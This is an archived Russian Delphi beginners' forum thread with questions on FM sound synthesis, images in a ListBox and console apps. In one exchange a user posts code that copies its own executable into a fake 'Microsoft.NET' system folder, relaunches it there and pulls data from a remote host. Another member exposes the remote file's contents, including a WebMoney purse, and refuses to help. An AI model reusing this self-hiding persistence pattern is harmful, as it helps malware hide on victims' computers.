[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Вот этого уже не знаю. Можете побайтно сравнить копию с оригиналом.
    И если они совпадают, при том что оригинал запрос отсылает, а копия - нет, не знаю, в чём дело.

    Может антивирус блокирует запрос? :D
     
  2. .Light.

    .Light. Member

    Joined:
    12 Jul 2010
    Messages:
    195
    Likes Received:
    5
    Reputations:
    0
    Это не вирус!Байты теже!
     
  3. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Заметьте, я этого не говорил :)

    I have no idea.
     
  4. .Light.

    .Light. Member

    Joined:
    12 Jul 2010
    Messages:
    195
    Likes Received:
    5
    Reputations:
    0
    На соседнем форуме подсказали!Но ругается на else
    begin
    copyfile(PAnsiChar(Paramstr(0)), PAnsiChar('C:\ProgramData\Microsoft.NET\' + ExtractFileName(Paramstr(0))), False);
    if not FileExists('C:\ProgramData\Microsoft.NET\' + ExtractFileName(Paramstr(0))) then
    ShellExecute(Handle, nil, 'C:\ProgramData\Microsoft.NET\project1.exe', nil, nil, SW_SHOW);
    halt;
    end
    else begin
    sl:= TStringList.Create;

    sl.Text:= idhttp1.Get('http://');

    for i:= 0 to sl.Count-1 {??? ??????? ????, ????. 5} do
    (FindComponent('Edit' + IntToStr(i+1)) as TEdit).Text:= sl;
    sl.Free;
     
    #9584 .Light., 2 Aug 2014
    Last edited: 2 Aug 2014
  5. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    А где, собственно, условие IF ?

    Научитесь уже оформлять свой код... на форуме в тегах CODE, а в среде - с правильными отступами.

    P.S. прочитав содержимое файла, я начинаю сомневаться, что вы делаете безобидную программу... :rolleyes:

    Code:
    wget -o nul -O - http://dark-web.biz/key.txt
    
    R470006013745
    C:\ProgramData\Microsoft.NET\lopata777.exe
    Судя по... это как-то связано с WebMoney :eek:

    UPD:
    Судя по сайту, вы точно делаете что-то плохое :mad:
    Я отклоняюсь.

    UPD 2:
    Ссылки удалять не стану, информацию вы сами оставили. Не люблю помогать вирусологам и ботоводам. А остальные участники форума пусть решают сами - помогать вам или нет. Но информацию в праве знать каждый.
     
    #9585 binarymaster, 2 Aug 2014
    Last edited: 2 Aug 2014
    1 person likes this.
  6. DEAD666

    DEAD666 New Member

    Joined:
    4 Mar 2010
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
  7. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Code:
    program Project1;
    
    {$APPTYPE CONSOLE}
    
    uses
      SysUtils;
    
    const
      OutFreq: Cardinal = 44100;
    
    function Gen(Time: Cardinal; Freq: Extended): Extended;
    var
      Arg: Extended;
    begin
      Arg := Time * Freq / OutFreq;
      Result := Sin(Arg*2*Pi);
    end;
    
    var
      F: File of Byte;
      Buf: Array[0..16383] of SmallInt;
      E: Extended;
      X: Cardinal;
    begin
      AssignFile(F, 'C:\FM.raw');
      Rewrite(F);
      X := 0;
      while X < OutFreq * 10 do begin
        E := Gen(X, 2);
        E := Gen(X, 100*E + 440);
        Buf[X mod 16384] := Round(E * High(SmallInt));
        Inc(X);
        if X mod 16384 = 0 then
          BlockWrite(F, Buf[0], Length(Buf) * SizeOf(Buf[0]));
      end;
      if X mod 16384 > 0 then
        BlockWrite(F, Buf[0], X mod Length(Buf) * SizeOf(Buf[0]));
    end.
    Пытаюсь написать простую программу, реализующую алгоритм частотной модуляции. В коде за генерацию волны отвечает функция Gen, как можно заметить, сначала генерируется модулятор - синусоида с частотой 2 Гц, а после несущая - синусоида с частотой 440 Гц, промодулированная модулятором :)

    Проблема в том, что в полученном звуке модулированный сигнал постоянно увеличивает свою частоту, хотя он должен быть постоянно равен 4 Гц (акустически воспринимается как эффект вибрации).

    При этом, если сгенерировать волны по отдельности - каждая из них генерируется корректно.

    Либо я ошибся в формулах, либо в логике. Прошу помочь в решении данного вопроса. Если я где-то найду ответ раньше, то оповещу.

    UPD: поправил выражение "E * 440" на "100*E + 440", так правильнее - индекс модуляции (коэффициент) на амплитуду модулятора (интервал 0..1), плюс частота несущей. Но проблему это не решило.
     
    #9587 binarymaster, 10 Sep 2014
    Last edited: 10 Sep 2014
  8. firstfallen

    firstfallen New Member

    Joined:
    1 Mar 2010
    Messages:
    64
    Likes Received:
    0
    Reputations:
    0
    Привет всем. нужна подсказка: как реализовать на делфи (у меня ХЕ7) что вроде контактов, а если точнее listbox который сможет содержать картинку (возможное 2) + текс. 2 день гуглю, не могу ничего найти, либо не так гуглю
     
  9. #colorblind

    #colorblind Moderator

    Joined:
    31 Jan 2014
    Messages:
    634
    Likes Received:
    246
    Reputations:
    42
  10. firstfallen

    firstfallen New Member

    Joined:
    1 Mar 2010
    Messages:
    64
    Likes Received:
    0
    Reputations:
    0
    спасибо за ссылку, получилось переделать под jpg, вот только незадача, у меня идут циклы в циклах и в итоге я так понял событие OnDrawItem тупо не срабатывает до тех пох пор пока они не пройдут, из-за этого сыпятся ошибки и в половине итемов прорисовывается последняя загруженная картинка.
    на всякий случай, что бы проще было понять о чём я(кусочек кода):
    Code:
    for m := 1 to count1 do
        begin
    vv := copy(vv, pos('photo":"', vv));
          delete(vv, 1, 11);
          tt := 1;
          url_photo := '';
          while vv[tt] <> '"' do
          begin
            url_photo := url_photo + vv[tt];
            inc(tt);
          end;
          Memo2.lines.add(url_photo);
          ms := tmemorystream.Create;
          img := TJpegImage.Create;
          getimg := tidhttp.Create(nil);
          try
            getimg.Get(url_photo, ms);
            ms.Position := 0;
            img.LoadFromStream(ms);
          finally
            ms.Free;
            getimg.Free;
          end;
          ListBox2.Items.AddObject(inttostr(m), img);
          img.Free;
    
    переменная vv содержит очень длинную строку, которая режется по частям
     
  11. firstfallen

    firstfallen New Member

    Joined:
    1 Mar 2010
    Messages:
    64
    Likes Received:
    0
    Reputations:
    0
    ошибки вылетают из за того что img постоянно меняет своё содержание, а событие OnDrawItem не может уже взять те изображения, так как их в памяти нет. Попробывал сделать с сохранением картинок и их загрузкой, в итоге рисует он только последнюю картинку везде
     
  12. #colorblind

    #colorblind Moderator

    Joined:
    31 Jan 2014
    Messages:
    634
    Likes Received:
    246
    Reputations:
    42
    Тяжело сказать без проекта. Если не лень, убери с проекта все "лишнее" и залей, тогда смогу тебе помочь
     
  13. firstfallen

    firstfallen New Member

    Joined:
    1 Mar 2010
    Messages:
    64
    Likes Received:
    0
    Reputations:
    0
    вот этого сделать не могу, так как там всё от всего зависит. В процессе дебага при добавлении через массив вручную каждого элемента, следующая картинка перерисовывает все остальные
    Code:
      with (Control as TListBox).Canvas do
      { рисуем на холсте элемента управления, не на форме }
      begin
        FillRect(Rect); { очищаем прямоугольник }
        Offset := 2; { обеспечиваем отступ по умолчанию }
        jpgg := TJpegImage((Control as TListBox).Items.Objects[index]);
        { получаем иконку для данного элемента }
        if jpgg <> nil then
        begin
          Draw(Rect.Left + 1, Rect.Top + 2,
            TJpegImage((Control as TListBox).Items.Objects[index]));
          Offset := jpgg.width + 9;
          { добавляем четыре пикселя между иконкой и текстом }
        end;
        TextOut(Rect.Left + Offset, Rect.Top + 7, (Control as TListBox)
          .Items[index]);
        { выводим текст }
    используется это метод.

    Code:
    listjpg.LoadFromFile('foto_50x50\'+name_file[qwe]+'.jpg');
    ListBox2.Items.AddObject(name_file[qwe], listjpg);
    inc(qwe);
    то есть при нажатии на кнопку в переменную загружается картинка и отправляется в listbox, и он заменяет все предыдущие картинки последней отправленной.
     
    #9593 firstfallen, 12 Sep 2014
    Last edited: 12 Sep 2014
  14. #colorblind

    #colorblind Moderator

    Joined:
    31 Jan 2014
    Messages:
    634
    Likes Received:
    246
    Reputations:
    42
    Эх, заставляешь старого, больного человека устанавливать Delphi на свой девственно-чистый комп :)

    Повторюсь, не знаю где затык конкретно у тебя, т.к. нет проекта. Сделал все как в приведенном мной примере, все работает как нужно.

    Вот тебе скрин:
    [​IMG]

    А вот тебе мой пример:
    http://rghost.ru/57980855
     
    1 person likes this.
  15. firstfallen

    firstfallen New Member

    Joined:
    1 Mar 2010
    Messages:
    64
    Likes Received:
    0
    Reputations:
    0
    нашёл трабл... всё было не так из за Dibujo := TBitmap.create; вот этого элемента... я создавал его только раз и потом, в него заново загружал изображения
    Code:
    Dibujo := TBitmap.create;
        Dibujo.LoadFromFile('./1.bmp');
        AddObject('Delphi World - программа для всех', Dibujo);
    
        Dibujo := TBitmap.create;
        Dibujo.LoadFromFile('./2.bmp');
        AddObject('Delphi World - самый большой сборник', Dibujo);
    спасибо
     
  16. #colorblind

    #colorblind Moderator

    Joined:
    31 Jan 2014
    Messages:
    634
    Likes Received:
    246
    Reputations:
    42
    Ну вот и славно :)
     
  17. firstfallen

    firstfallen New Member

    Joined:
    1 Mar 2010
    Messages:
    64
    Likes Received:
    0
    Reputations:
    0
    :D ещё такой вопрос, как определить, сколько отступать от картинки с текстом что бы дорисовать ещё 1 картинку сразу же после текста?
     
    #9597 firstfallen, 15 Sep 2014
    Last edited: 15 Sep 2014
  18. #colorblind

    #colorblind Moderator

    Joined:
    31 Jan 2014
    Messages:
    634
    Likes Received:
    246
    Reputations:
    42
    Ты там мессенджер пилишь что ли?))
    Не вижу никакой проблемы в том, чтобы еще порисовать.
    [​IMG]
    http://rghost.ru/58023033

    А отступ определять математически, как же еще.
    Для начала замерь ширину самой широкой буквы в твоем наборе шрифтов, ну а потом length(str)*razmerbukvi
     
    #9598 #colorblind, 15 Sep 2014
    Last edited: 15 Sep 2014
  19. firstfallen

    firstfallen New Member

    Joined:
    1 Mar 2010
    Messages:
    64
    Likes Received:
    0
    Reputations:
    0
    к счастью не его =) 2 картинку прорисовать получилось, ладно спасибо, буду эксперементировать
     
  20. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    У вас основной поток завершается сразу после цикла, поэтому приложение закрывается. В конце перед end поставьте Readln, или что-нибудь ещё.
     
    1 person likes this.
Thread Status:
Not open for further replies.